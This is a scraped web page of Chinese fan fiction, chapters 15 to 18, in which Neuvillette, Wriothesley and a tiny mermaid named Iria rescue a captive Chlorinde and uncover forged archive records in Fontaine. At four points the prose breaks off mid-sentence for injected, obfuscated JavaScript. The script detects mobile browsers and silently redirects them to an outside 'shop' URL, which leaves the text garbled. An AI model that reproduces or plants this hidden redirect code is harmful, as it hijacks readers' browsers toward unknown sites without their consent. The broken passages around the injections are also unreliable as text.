纯正的人鱼血统的伊芮娅深呼吸了一下,反手按下已经弹起来的尾巴,决定不和这个没见过世面的人类一般见识。 奈何,它的小动作没能逃过莱欧斯利的眼睛。 “哦,看来不是。” 莱欧斯利接着问道:“那么,不是金鱼的小鱼苗,你来梅洛彼得堡做什么?” 伊芮娅把项圈上挂着的珍珠擦得锃亮,尾巴撑起上半身,套在莱欧斯利的小拇指上,然后比划了起来,“嘻……嘻嗝。” “西格?” “嗡嗡嗡。” “西格瓮?” 伊芮娅眼睛一亮,摇摇头。 莱欧斯利把珍珠颈圈挂到它尾巴上,摩挲着下巴,“你来找希格雯护士长?” “嘶呀!” “嗯,我可以带你过去。”莱欧斯利转身就想走。 伊芮娅连连摇手,拦下他,指了指长在洞穴里的植物。 莱欧斯利依了它,走过去,扯下一片宽大的树叶递给它。 树叶差不多和莱欧斯利的手一样大,小人鱼尾巴一卷,缩进叶子里。 “啊~小不点还挺聪明。”说着,他五指微收,把叶子拢成弧状。 约莫十分钟,莱欧斯利捧着伊芮娅,来到了医务室。 “护士长,有条鱼找你。”他懒洋洋地倚靠着门框,反手敲了敲。 “嗯?”希格雯扭头看过来。 四周没什么人,伊芮娅手一撑,脑袋顶落树叶。 “伊芮娅!”希格雯赶忙小跑过来,绕到莱欧斯利身后,一把将他推进医务室,“嘭”一下合上门。 莱欧斯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915839|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利:“怎么,这条鱼见不得人?” 希格雯点头,回道:“那维莱特大人特意和我强调过,暂时不要将伊芮娅的存在暴露给外界。” “噢,行,既然那维莱特这么说,我也不多问了。”莱欧斯利走到桌子边,把小人鱼放下去,转身就走,“梅洛彼得堡里有几只老鼠,我去看看。” 送走了莱欧斯利,希格雯回到桌子前,坐下,“伊芮娅,你怎么会在这里?那维莱特大人知道吗?” 经过了数次实践,伊芮娅知道凭它现在的表达能力,回答希格雯的问题,绝对要连笔带画解释好久。 它想了想,冲希格雯比了个睡觉的姿势。 “那……那位来客……” 希格雯很快理解了它的意思,且不论小人鱼自己想回去,她原本也是打算尽快把它给那维莱特大人送过去。 她拿来自己的爱心小挎包,让伊芮娅藏进去,合上盖子,轻轻拍了拍。 “走吧,我带你去沫芒宫。” 伊芮娅蜷缩在包里,没什么光亮,又是在过度疲累之后,原想着闭目修养片刻,没一会,变成了抱着尾巴呼呼大睡。 等它被突然射入的光线刺目转醒,才发现自己睡了一路,希格雯已经把它送到了那维莱特身边。 伊芮娅坐在那维莱特办公室的沙发垫上,揉了揉眼睛,听那维莱特同希格雯道谢,然后送走希格雯。 “咿呀~” 那维莱特走到沙发边,“不再多睡一会吗?” “吥呀。”伊芮娅指了指办公桌,伸出两只手,要他抱。 那维莱特将它抱起来,来到办公桌前坐下,取来昨日特意去加急定做,一个小时前才送来的纸笔,放到它手边。 伊芮娅挂念着还被困在诡异小屋里的两人,没搞那些虚礼,二话不说,抓起笔就开始涂涂画画。 那维莱特等在一旁,偏头侧目,看着它。 伊芮娅很快画好第一张,一把撕下来往旁边放,方便那维莱特辨认。 它一口气画完了三张纸,然后指着第二张画里的一个图案。 “翠嘶嗒~” 小人鱼嘴唇嘟起又扯平,尽力将音发标准。 那维莱特垂目,嘴角微微抽了一下。 伊芮娅指着的涂鸦,由两个椭圆叠在一起,上头小椭圆长了三角尖尖耳,下头大椭圆左右各横着两个长方形手脚,底下还有一条曲线尾。 这个图案的旁边,还有一个放大了一号的同款椭圆人。 “还记得路吗?”那维莱特抬手,又化出一颗源水之滴,“先去救她们。” 伊芮娅尾巴拍了拍桌面,发出不大不小的动静。 “带恰的!” 那维莱特一愣,抿唇,“我去拿。” 不多时,他带了一个魔术口袋回来。 “里面装的这些够吗?”那维莱特撑开袋口,让小人鱼可以很清楚地看见袋子里面。 在不知道囚禁她们的地方具体是什么情况的时候,那维莱特选择相信伊芮娅。 不管伊芮娅逃出来的前提条件是什么,它能一条鱼从束缚中脱身,游到梅洛彼得堡,找到只见过一面的希格雯,顺利回到沫芒宫。 这趟乍一看,全部在依靠别人帮助的行程,但在那维莱特的眼中,却是伊芮娅体能耐力、个人勇气、逻辑思维和审时度势四项能力的综合体现。 伊芮娅爬在袋口看了一眼,又伸手提了提袋子。 “太太多。” 那维莱特从中挑出几个分量十足的罐头,伊芮娅又提了下,感觉重量差不多,便钻进源水之滴中,“咿呀咿呀”地催促起正在写假条的那维莱特。 出了办公室,那维莱特把假条递给路过的工作人员,请她帮忙带给芙宁娜批阅。 身为水龙王,那维莱特在水中的速度是毋庸置疑的。伊芮娅眼瞅着源水之滴外头的景物甩甩往后退,感觉那维莱特不过几个起伏,就已经来到了它画上的地点。 “是这里吗?” 伊芮娅摇摇头,主动从源水之滴里出来,问那维莱特要了魔术口袋,两只手拽着,费力往也就只有源水之滴大小的洞口游进去。 那维莱特目测了一下洞口尺寸,手掌一番,控水成流,把伊芮娅送进去同时探了探里面,眉心渐渐拧起。 这个大小,要怎么把翠斯塔和另一个被囚的人救出来? 15.Chapter 15 7.3 Wednesday 夜晚骤雨 - 诡异小屋内 - 塞勒洛斯抱着翠斯塔,宛若被寒冰棺椁冰封住似的一动不动,甚至连呼吸都变得停滞,每隔几十秒,包裹在白铁盔甲中的胸脯才缓慢地起伏一次。 他耳尖动了动,陡然睁开眼睛,目光如利剑出鞘,直直刺向屋子角落,随后单手托着翠斯塔,另一只手则不动声色地搭上剑柄。 几息之后,小水潭口传来“咕噜咕噜”的动静。 塞勒洛斯握着长剑,静静等待。 一条银白色的小水母冒出头来。 “喔唻呀!” 伊芮娅一手扒着岸边,一手伸长,幅度特别大地冲着塞勒洛斯晃动。 “伊芮娅,你回来了。” 小人鱼从他说话的语调中没听出一丝情绪。硬要说的话,伊芮娅感觉他的口味,好像只是在平静地陈述一件与他无关且毫不上心的事情。 “看呀~”伊芮娅抱着魔术口袋,给他展示了一下,然后脑袋顶着口袋底部,双手用力往上推,想把它弄到岸上。 这一回,有了那维莱特的帮助,伊芮娅路上几乎是被水流推着往前游,速度比之前高出几个层级,体力基本上就没有消耗,它有十足的自信,可以带着不算轻的魔术口袋很快爬过去。 而那维莱特的贴心程度,远超它贫瘠的想象。 伊芮娅正尾巴一翘一翘,费力往上爬呢,突然身子一轻,水潭中的水像喷泉一样,轻柔地将它托起。 “吼呀!”伊芮娅眼睛一亮,尾巴一甩,坐正身子,拍了拍鱼屁股旁边的水,然后指着塞勒洛斯所在的方向,示意水流把它送过去。 又是“咕噜”几声,伊芮娅寻声低头,望着海水不断从小水潭里往外冒出来。没一会,小屋地上铺了满满一层水。 而后,水柱载着伊芮娅,开始移动。 小人鱼眼瞅着距离差不多了,赶忙又拍了拍,水柱很听话地停了下来。 塞勒洛斯松开剑柄,拿起魔术口袋,仔细端详了片刻:“你找来的帮手很厉害。” “呐嘶当然滴。”伊芮娅下巴一仰,抱着手,满脸骄傲。 它见塞勒洛斯尾指托着袋子圆鼓鼓的底部,拇指和食指勾住袋口两边,撑开。 “嘟嘶恰滴。” “多谢。” 办妥塞勒洛斯拜托它的事,伊芮娅开心地扬了扬尾巴,眸光随之落到躺在他怀里的美露莘。 “翠翠,碎啦?” 塞勒洛斯:“她与那人交过手,内伤不轻。” 伊芮娅眼睛瞪得溜圆,立马抬手指向小屋木门,又指了指小水潭。 “喔们肿么走?” 塞勒洛斯沉默片刻,道:“你们想办法带翠斯塔走,她需要接受治疗,而我……还不能走。” 伊芮娅歪头,不解。 “你先把这个带出去,交给帮你的人。”塞勒洛斯摘下别在胸口的金色桔梗花徽章。 “吼呀。”伊芮娅尾巴拍了拍屁股底下的水,双手抱住大徽章,尾巴一撅,搭乘着改变方向的水流游回去。 那维莱特等在洞口,接住小人鱼,问道:“情况如何?” 没等伊芮娅开口,塞勒洛斯的声音,从桔梗花徽章里传出:“您好,未知的朋友,我名塞勒洛斯·阿尔艾安尼。” 伊芮娅吓了一跳,手一松。 那维莱特指尖微动,拉回掉落的桔梗徽章,浮在眼前。 “遵照礼节,你好,我是枫丹的最高审判官那维莱特。” 对面没了动静。 “塞勒洛斯先生?” 细弱的呼吸声清晰地从桔梗徽章中溢出。 伊芮娅觉得气氛有些微妙,悄悄往上游了一点,乖乖趴在那维莱特肩头。 “没想到,来的人会是你。”塞勒洛斯的声音突然变得像年久失修,走了调的手风琴。 “很抱歉,最高审判官大人,非常感谢您对我的帮助,但是……鉴于我们目前大概率所处立场不同,恕我无意与你深入交谈,我们最好长话短说。” 那维莱特一愣,接着平和道:“没有关系,塞勒洛斯先生,除去坐在歌剧院的庭审席上,日常生活中的我并不特殊。想与谁交流,不想和谁对话,都是你应有的权利,这不受枫丹法律的约束。” “翠斯塔是你的附庸吧,她内脏的伤势很严重,需要尽快接受治疗。”塞勒洛斯说道。 那维莱特不喜欢他的说法,一板一眼纠正道:“翠斯塔是逐影庭的一员,也是一名有与人类拥有同等权利地位的美露莘,即不是我的附庸,也不属于任何人。” “抱歉。”塞勒洛斯声音低了些,“你想好怎么带她离开了吗?” 伊芮娅偏头,目光从桔梗徽章上移向那维莱特。 “我已在水的引领下探明前方道路。”语罢,那维莱特顿了顿,“这间屋子的元素能量很奇怪,像是得到了某种古老力量的加持,所有的元素力在这里都会陷入混沌。这将会极大幅度地削弱自身能力与对元素的感知力。” “所以放弃一些比较常规的方法,直接从眼前这个入口破开岩壁,是最优的选择。” 塞勒洛斯一怔,失笑道:“我原以为象征着枫丹绝对正义与公平的最高审判官大人,会选择一些不那么打草惊蛇的方式。” 那维莱特:“……” “抱歉,是我没有表述完全。” “过后,我会将这里恢复原貌。并且,在伊芮娅与你交谈的时候,我已经与附近的浊水喷吐幻灵达成交易。稍后会两颗浊水之滴化形,代替你与翠斯塔困在屋中,迷惑案犯。” 水底,两只浊水喷吐幻灵正在嬉闹。 “呵……不愧是枫丹的最高审判官,真是能力出众,办事周全。”紧接着,他说,“多谢那维莱特大人费心,但是你带走翠斯塔即可,无须管我。” 这下,连半懵半懂的伊芮娅,都听出了些许端倪。 就算塞勒洛斯再怎么刻意改变声线,内心的真实情绪,在交流的字字句句中,也很难完全遮掩。而最真实的态度,总会顺着那么一两个字,或者不经意间的语气词,不顾明面上的精心伪装,偷偷溜出来,裸露在光天化日之下。 对此,那维莱特却没有什么反应,只是淡淡回道:“好,我尊重你的意愿。” 说完,他抬手蓄力,一股深蓝色的强劲水流凭空出现,撞开狭小的洞口,以不可阻挡之势,蛮横而又强硬地入侵了诡异小屋。 在他没有留意的瞬间,伊芮娅正扭着头,大张着嘴,目不转睛盯着那维莱特垂在脑后,正发出荧荧蓝光的龙鬏鬏,再往下看,他身后也飘逸着两条透亮的淡蓝色长飘带。 伊芮娅换了个姿势,改成坐在那维莱特肩头,低头看着它也有些透明的浅银色尾鳍,若有所思。 “伊芮娅,你先回源水之滴里,好吗?”那维莱特廓清道路,偏头垂目道。 “吥呀~”伊芮娅身子一侧,双手抱住他的脖子,小脸蹭了几下,撒娇的意味十足。 那维莱特也没再多说什么,默认了它的行径,不过他在往通道里面游的时候,速度比方才赶过来的时候,慢上不知道多少倍。 刚一进到屋内,入目既是被锁链圈住脖子的翠斯塔, 那维莱特眸底掠过一缕暗茫,嘴角下沉。 他以水凝刃,斩断锁链,从塞勒洛斯手里接过翠斯塔。 跟在那维莱特身后进来的一只浊水喷吐幻灵,立马化作翠斯塔的模样,而另一只,则很聪明地变成锁链,特别主动地把“翠斯塔”吊起来,还洋洋得意地抖了抖,然后就被“翠斯塔”狠狠扇了一水触手。 那维莱特检查过翠斯塔身上的伤,对塞勒洛斯说道:“多谢。” “不用。” 塞勒洛斯低着头,黑色的头发披散在肩头,将那维莱特返还给他的桔梗徽章重新别回胸前。 屋内,仅有正中圆桌上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莱欧斯利笑了笑,眸光一转,视线落到那维莱特肩头,“嚯,说起来,你从哪弄来的这条小鱼。” 伊芮娅躲开他的手,窜到那维莱特头发里,然后小脸从银发里露出来,冲他呲了下牙。 “小小一只,脾气还挺大。” “你们之间,起过矛盾?”那维莱特望着这一人一鱼的互动,不解道。 莱欧斯利含着笑,把他捡到伊芮娅的事情,同那维莱特说了。 “原来如此。你提它尾巴的举动,确实不合礼节,难怪它会对你心生怨怼。” “我当时乍一眼瞧见,还以为是一条没见过的新品种水蛇,可不就揪着尾巴,提溜起来了。” 那维莱特扫过小人鱼垂在他锁骨处,还在一荡一荡的鱼尾,“挺漂亮的尾巴,不太像水蛇……” “咿呀!” 他话没说完,就被伊芮娅大叫一声打断了。 两个人的目光齐齐望过去。 “白医……白医芙,呜唔子,见锅。”伊芮娅说话时,嘴巴的形状变化极大,看得出来,它已经很努力了。 莱欧斯利沿着它的话,重复道:“白衣服,屋子,见过?” 小人鱼猛猛摇头。 那维莱特简单和莱欧斯利说了一下中午伊芮娅被绑和一天前翠斯塔失踪的事。 “所以,我见到的那个白袍人,是绑了小鱼的人?”莱欧斯利眉峰一挑,“哈,也是巧了。我刚查到,白袍人是梅洛彼得堡的看守人员,名叫布莱特。” “而他,正在策划一场略显拙劣的越狱。” 伊芮娅一听,拉了拉那维莱特的领口,立马比划起写字的模样。 那维莱特一瞬间就联想到小人鱼的画,在第一张和第三张上,一共有四个穿袍子的人,其中第三张画上,还有两坨乌黑的椭圆形物体。 “啧啧啧。”莱欧斯利有些戏谑地望向那维莱特,“看来~某些不知轻重的人,希望水上和水下一起,搞一场联合狩猎。” 16.Chapter 16 7.4 Wednesday 黎明轻风 闻言,那维莱特垂下眼睫,五指交叉搭在手杖上,认真思索了好一会,微点下颌,“可以。我回去之后,即刻安排逐影庭将像皮球凶杀案与翠斯塔失踪案并案处理,并成立专案小组,而后与你发函对接。” “唉,又来了。水上刻板的规定,成套的流程,严格的要求……”莱欧斯利摊手,“相比之下,梅洛彼得堡就没有这么多框框条例。” 见两人商讨起正事,伊芮娅功成身退,重新把头缩了回去,藏在那维莱特的耳后。它微卷的银白色秀发几乎与那维莱特的银发融为一体,尾巴自然垂在他的左胸,尾鳍随着胸膛呼吸间的起伏,一荡又一荡。 “嗯……”那维莱特沉吟片刻,忽然说道,“或许,你也可以依照梅洛彼得堡的特性,制定一成套规矩。” 莱欧斯利蹙眉,道:“哈,很明显,‘规矩’在水下世界不太适用。” 那维莱特轻声笑道:“很明显,这是一句玩笑话。” 莱欧斯利摩挲着下巴,“是么,感觉你明明是有在很认真地建议我。” 在他看不见的角度,伊芮娅小手捂着嘴,打了一个哈欠,慢慢趴在那维莱特的肩颈上,没了动静。 那维莱特微微偏头,余光一扫而过。 少顷,莱欧斯利收敛起稍带几分玩世不恭的神情,正色道:“我已经派人盯着布莱特了,从他自以为合乎情理地与人换班,将白天改为夜间值守的动静看,白袍人通知他的行动时间,应该就在这一周。” “嗯,你看着安排,我相信你的能力。”说罢,那维莱特顿了顿,回身看了一眼铁门半掩着的医务室,面色不觉带上些许忧虑,“翠斯塔暂且拜托给你了,请务必保护好她的安全。” “啧啧啧。一听这话,就知道我们敬爱的最高审判官大人,又要回到水上,投身于繁忙的工作之中了。” 那维莱特微微摇头,否认道:“今日的工作已经完成。” 莱欧斯利不可置信地“哦”了一声,说道:“哎呀,我居然猜错了。” 那维莱特接着说道:“伊芮娅中午被绑走,下午游到梅洛彼得堡,一直折腾到现在。我目前是打算带它回去,好好休息一晚。” “嗷,难怪从刚刚开始,我就感觉好像少了什么‘咿咿呀呀’的声音。”莱欧斯利扯了下领带,下巴冲着斜侧方一扬,“走吧,难得休息片刻的最高审判官,我送你出去。” “有劳。” 那维莱特没有从正门来,自然也不会从正门走,况且对他来说,走水路离开梅洛彼得堡,比坐歌剧院的升降平台能快上不少。 别过莱欧斯利,那维莱特托着熟睡的伊芮娅,把它放入源水之滴。确保它不会被自己游动时产生的湍急水流而影响,以最快的速度,回到了沫芒宫。 他将伊芮娅轻轻放入小人鱼的专属贝壳小床,悄声道了一句“晚安”,而后静静离去。 出了寝室,那维莱特径直走向档案馆。 像皮球杀人案的两位死者弗蕾丝和福卡达;财政部贪腐案的特诺法兰,或多或少都与“档案”两个字扯上了关系。同时,福卡达和特诺法兰的档案整体风格出奇一致。 两个可能是巧合,可三个同时撞到一起,难不成是阴差阳错,赶上了,三个人连带着三份档案正正好撞一起吗? 对此,那维莱特是不相信的。 想到这一点,那维莱特推断梅洛彼得堡的看守布莱恩,他的档案,或许也存在着相似的问题。 而这,许是一个崭新的突破口。 雨后的空气格外清新,晚风轻拂着沫芒宫一水的碧蓝色窗帘。 那维莱特穿过回廊,停在档案馆厚重而坚实的木门前。 他抬手,掌心贴在木门上。下一瞬,一层幽蓝色的巨大圆形阵法图样随之浮现出来。 在阵法的正中心,有着一个钥匙孔,平常档案馆的工作人员,便是等在门外,待所有人来齐之后,由现任馆长露西恩使用同样附有对应阵法的钥匙,打开大门。 当然,这是普通工作人员的做法。而那维莱特,作为阵法的缔造者,打开他不过是一抬手的事情。 那维莱特很轻松地破开阵法,走了进去,按照区域分类,来到属于梅洛彼得堡的几排书架前面。 档案的分类分年分名摆放,是露西恩在入职档案馆后独创的,这也是老馆主在退休前,指定要她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025346|133749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接班的一个重要原因。 托它的福,那维莱特虽鲜少涉足此地,但仍旧十分顺利,且快速地找到了,封存着布莱特个人信息与履历的牛皮档案袋。 拆开袋子,他只消一眼,便可以断定布莱特的档案,也经过了大量修改,甚至是虚构伪造。 紧接着,在档案的第二页背面,“个人重要亲属栏”的一个备注,吸引了那维莱特的注意。 【布鲁恩长兄财政部文员 】 【备注:于提瓦特xxxx年,五月二十九日失踪,目前下落不明。】 又是……财政部! 那维莱特“啪”一声,合上档案,提步走到财政部的档案区。 然而,这一次,他仔仔细细翻找了许久,都没有查到属于“布鲁恩”的档案。 他对这个案子有印象,因为是失踪,社会危害程度相对不高,按枫丹的执法规定,当时是交给了警备队负责。 他记得在六月十一号的时候,警备队呈上了结案的卷宗,里面明确记录了这样一句话:【布鲁恩经警备队核实已确认身亡】。 皎洁的月,洒下清冷的辉,浮动在夏夜的风中,时不时被顽皮的云层戏耍作弄,搅得室内忽明忽暗。 那维莱特转身,背对着光,将布莱克的档案原样放了回去,脑海里思索起了三个问题。 第一,一向工作严谨细致的档案馆工作人员,为何没有将布鲁恩的死亡信息,在布莱克的档案上记录更新。 是经手人忘了,还是出于别的什么原因? 第二,布鲁恩的档案去哪了? 能进出沫芒宫档案馆的,只有内部工作人员。一份归档好的纸质档案不可能无故失踪,所以一定有人,故意带走了它。 第三,作为档案馆的话事人,能力卓越的露西恩小姐。 对这些档案作假、更新疏漏、失踪当真是一无所知吗?她是被人蒙蔽,还是参与其中? 离开档案馆,那维莱特在回寝室的路上,不知是有意还是无意,绕了一段路,从安排给露西恩暂做休息的房间前走过。 他想。 明日一早,是时候与这位他一直颇为看重的档案馆负责人,谈一谈了。 17.Chapter 17 7.4 Thursday 黎明无云 翌日,那维莱特起来看过时间,见天色尚早,便出了一趟门,将伊芮娅昨日被折腾地不成样子的粉色裙子,给千织屋送去,看能否修补,顺便再按这个尺寸大小,给小人鱼重新定做几身换着穿。 临出门前,他还特意同下属说了一声,让她候在露西恩门外,等露西恩起身后,通知她九点到自己的办公室一趟。 千织屋的千织小姐是稻妻人,她的作息习惯一向比松弛的枫丹人要早一个小时左右。那维莱特到的时候,她刚好打开门锁,拉开玻璃门,开店迎客。 那维莱特挑了几匹新到的布料,而后到千织屋的隔壁,给伊芮娅买了份早点,提着回了沫茫宫。 他走到鱼缸前,见水底一点动静都没有的荧粉色贝壳,迟疑片刻后,屈指轻轻扣了几下缸壁。 “伊芮娅,醒醒。” 今日,他的日程原本就安排地很满,又临时加上了约见露西恩一项。若是现在不把伊芮娅叫醒,一起带去,只怕他要一直在外忙到傍晚,才能回来。 他不放心伊芮娅一个人呆在屋中,而现今知道伊芮娅的人,寥寥无几。 出了昨天小人鱼被绑架一事,赛德娜去寻求刺玫会的帮助,现今虽小人鱼与翠斯塔都已找回,但以防打草惊蛇,明面上不能召回赛德娜。 芙宁娜身为水神,每天下午都有一段固定时间,需要会见子民,也不是照顾小人鱼的合适人选。 没办法,那维莱特只能把伊芮娅叫醒。 “伊芮娅,该起床了。” 话落,粉贝壳晃了晃,上盖缓缓打开,小人鱼坐起身子,撑了一个大大的懒腰,然后游到水面,冲着那维莱特挥了挥手。 “咿呀,叭叭~” 「早上好,蓝鱼鱼~」 “早上好。”那维莱特笑得温柔,取来挂在用五根木棍临时搭成的简易衣架上的白裙子,帮伊芮娅换上,又把刚刚准备好,已经切成了小块的早餐和给伊芮娅的定制好的餐具一起拿上,抱着伊芮娅来到餐厅。 他把伊芮娅放在原先是卷缸的专属‘凳子’上,与她一边用膳,一边翻开一本杂志,说道:“我今天需要处理的事情有些多,可能一整天都在办公室里。这本杂志是人类儿童与小美露莘喜爱的玩具合集,伊芮娅可以看看,里面有没有感兴趣的?” “吼呀!” 书籍是人类使用的正常大小,对小人鱼来说,实在有些大了,它翻页不方便,那维莱特就一手抬着书,一页一页翻给它看。 伊芮娅抬手,擦了擦小嘴,看书的眼神逐渐从“我只是看看”的漫不尽心,变成“好有意思,我好喜欢”的兴高采烈。 它两只小爪子藏在后背,一根一根掰着手指头,心里默默记下心仪玩具的页码,打算最后只挑一个。 然而,若不说他们有缘呢,鉴于伊芮娅与那维莱特的体型差距实在过大,伊芮娅的小动作,那维莱特看得一清二楚。他亦是根据小人鱼的动作,猜测它可能喜欢的玩具,打算先按伊芮娅的想法买,回头他再把那几页的玩具全部订购回来。 杂志不算薄,却也不是很厚,拢共也就十几页,很快就翻到了最后一页。 看见这一页展示的玩具,伊芮娅不见一丝犹豫,直接伸手指着,“咿呀”一声。 「这一个!」 那维莱特将杂志转过来,原来这页上面是一套模拟治疗的儿童过家家玩具。 “其他还要吗?” 伊芮娅想到它前面看上的玩具,有点犹豫,低下头,看了眼它银白的尾巴。 它住在蓝鱼鱼这里已经很麻烦他了,再向他讨要很多东西,感觉不太礼貌。它要做一条可爱的、招人喜欢的小鱼鱼。 于是,伊芮娅对上那维莱特的目光,很坚定地“咿呀”了一声。 “好。”那维莱特点点头,接着说道,“现在已经八点过三刻,时间差不多,我该去办公室了。” “吼呀~” 伊芮娅张开双臂,问那维莱特讨抱抱。 “从这里到办公室,路上难免会遇到其他人,碍于昨晚,源水之滴暂时无法再次出现在世人眼前。我就这么托着你,往上施加一层水幻术。” 伊芮娅似懂非懂摇摇头。 没一会,那维莱特来到了办公室,推开门,只见一身水绿色衣裙的露西恩小姐,已经坐在办公室的休息区,垂眸摆弄着腰间的衣带,安安静静地等候着他的到来。 “早安,露西恩小姐。” 听到开门的声音,露西恩略显局促地站起身,头垂得比原先更低三分。 “那维莱特大人,早上好。” 那维莱特踱步到办公桌前坐下,手在桌面上一抚而过,表面上是将手中攥着的文件放下,实际上是把伊芮娅放入之前施了法的水雾区,随后,他展手示意露西恩坐到自己对面的椅子上。 露西恩犹疑片刻,走过来的脚步都有些虚飘。 “那维莱特大人。” “露西恩小姐。” …… 两人一齐开口,又同时收声,气氛渐渐尴尬。 玩具还没到,伊芮娅趴在桌上,手撑着头,目光在他们之间左右流转。 那维莱特礼貌地微笑了一下,“你先说吧。” 露西恩深深吐出一口淤气,“好的,那维莱特大人,我就直说了。” “我非常感激您对我的照顾,和出于保护我人生安全的考虑,将我暂时安置在沫芒宫的客房之中。但是……碍于个人原因,我还是希望能住在自己家里。” “我可以知道缘由吗?”那维莱特平和地问道。 “是这样的,那维莱特大人。您之前应该听说过,我与弗蕾丝亲若姐妹。她离世了,我怀着对她的思念,迫切地想要帮她。我自己就是灰河的一家孤儿院出身,我知道孤儿院的生活有多么苦,多么难熬。我真的不忍心看到弗蕾丝无父无母的表妹弗米莉,在失去监护人之后,被强制送去孤儿院。” 那维莱特从笔筒中抽出一只羽毛笔,在纸上记下弗蕾丝的诉求,再次向她确定道,“你想接手弗米莉的监护权,承担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那维莱特的语气极其认真,露西恩看着他,愣了好一会,尴尬地扯唇笑了两声。 “您过誉了,我也没想这么多……总之,我替弗米莉谢过那维莱特大人。” “无须。”那维莱特重新坐下,在法典上记下新的保护提议。他写得时候,视线不经意间,扫过了觉得无聊,已经躺平睡着了的小人鱼。 露西恩等他写完放笔,咽了下口水,脖颈浅绿色的颈圈随之起伏了一次。 “那维莱特大人,我说完了。所以,请问您找我来,所为何事?” 那维莱特双手放在桌上,食指交叉,说道,“昨天傍晚,我因事临时外出,当日的工作安排尚未完成。等我回来已是深夜,我无意麻烦他人,就带上了特诺法兰的档案,去了一趟档案馆。” 露西恩忙问:“是特诺法兰的档案出了什么问题吗?” “非也。”那维莱特浅浅摇头,“我将特诺法兰的档案,按流程放到他应该归属的财政部时,意外发现在财政部的档案柜中,没有上个月已经结案的,同属财政部的布鲁恩的档案。” “我今早找你过来,是为此事。” 语罢,露西恩猛得合上眼,身子仿佛失去骨架的支撑,软软倒靠到椅背上,别开头。 18.Chapter 18 7.4 Thursday 朝晨晴和 那维莱特眸光淡淡,望着对方才得话题企图避而不谈的露西恩,也不催促,只是这么静静的,等待她的回答。 露西恩抽出背后的靠枕,抱在身前,左手捂着脸。 她的呼吸渐渐急促,就连早上被叫醒,没睡够的伊芮娅,都被她吵醒了。 小人鱼揉着眼睛,坐起身,很是不满地也看了过去。 过了许久,在办公桌上的十分钟计时沙漏第一次翻转的时候,露西恩开口了。 “那维莱特大人,您的问题,我不想回答,我不想回忆起那段伤痛的经历,请您谅解我。” 那维莱特沉默片刻,说道:“很抱歉,露西恩小姐。我无意冒犯你,我也尊重你的个人隐私与情感。但是布鲁恩的档案不知去向,甚至于被人带走销毁。你在档案馆任职多年,应该知道这件事情的严重程度,以及你要面对的处罚。” 露西恩推开凳子,起身,背对着那维莱特,一字一顿,“我愿意为此,接受法律的责罚。” 那维莱特:“……” “如果没有其他事的话,我先走了。”说完,露西恩也不等那维莱特回应,直接提步就往外走。 那维莱特目送着她离去的背影,久久没有言语。 以他的龙生阅历来看,露西恩是一个可以被他评定为“很精明”的女性人类。 他的生命很漫长,来到人类社会也已百年之久。他坐在歌剧院的审判席位上,见过了许多截然不同的,形形色色的人类。 除了他,凡是认识露西恩的人或者美露莘,都一致认为她是一个在生活方面善良的,和蔼的,美丽的;对待工作认真的、负责的、能力出众的女子。 她在世人眼中,仿佛集一切美好的品格于一身,又有出色的能力加持,世人无不喜爱。 可对于那维莱特而言,他深知人类是一种残缺的高智动物。只有是人,就一定存在缺点,也必然拥有就连身为水龙王的他,都难以平衡的私心。 从前没有人类是“完美无缺的”,之后也不可能会有人跳脱出去,成为一块“白璧无瑕”的美玉。 于此来看,世人眼中“完美”的露西恩,更像是身上披着一层“完美”的伪装外衣。 别的暂且不说,只论今早。 那维莱特不知道是出于什么原因,露西恩是慌乱下的失误,还是路到尽头地摆烂,或者演不动了的放弃。 总之,露西恩前一秒还在怜悯失去亲人的弗米莉,口口声声要照顾她。下一刻,她就换了一副姿态,在明知责罚的情况下,默认罪行,既不为自己辩解,又拒绝回答他的提问。 在枫丹的法典中,明确写有“遗失或未将档案按照规定整理归档,经审判核实罪责之后,入梅洛彼得堡,处以刑期十年。” 她提出想抚养弗米莉,却又愿意入狱十年,这是两件非常自相矛盾的事情。 多年的庭审经验告诉那维莱特,这其中必有文章。 他按响安置在桌角的摇铃,召了一个美露莘入内,将监视露西恩的任务安排下去。 这头刚说完,距离美露莘合上门没几分钟,那维莱特办公室的门又被人敲响了。 “进。”他蹙眉道。 不过,还好。这一次来人与公务无关,是他早上给伊芮娅定的玩具到了。 拆了包装,正是伊芮娅想要的医生治病系列的过家家玩具。 “伊芮娅,早上买的玩具到了。”那维莱特将一套八小样玩具逐个检查了一遍,放到小人鱼眼前。 伊芮娅眼睛晶晶亮,耐着性子等那维莱特全部放好,径直扑向放在角落里的白色石头药臼。 它挤开其他玩具,费力把药臼推到中间,而后立起身子,揪着那维莱特的花边袖口,讨要道:“要兰兰艹。” “兰兰草?”乍一听到陌生的名词,那维莱特敛眉认真思索了一会,摇头说道,“提瓦特好像没有叫这个名字的植物。” 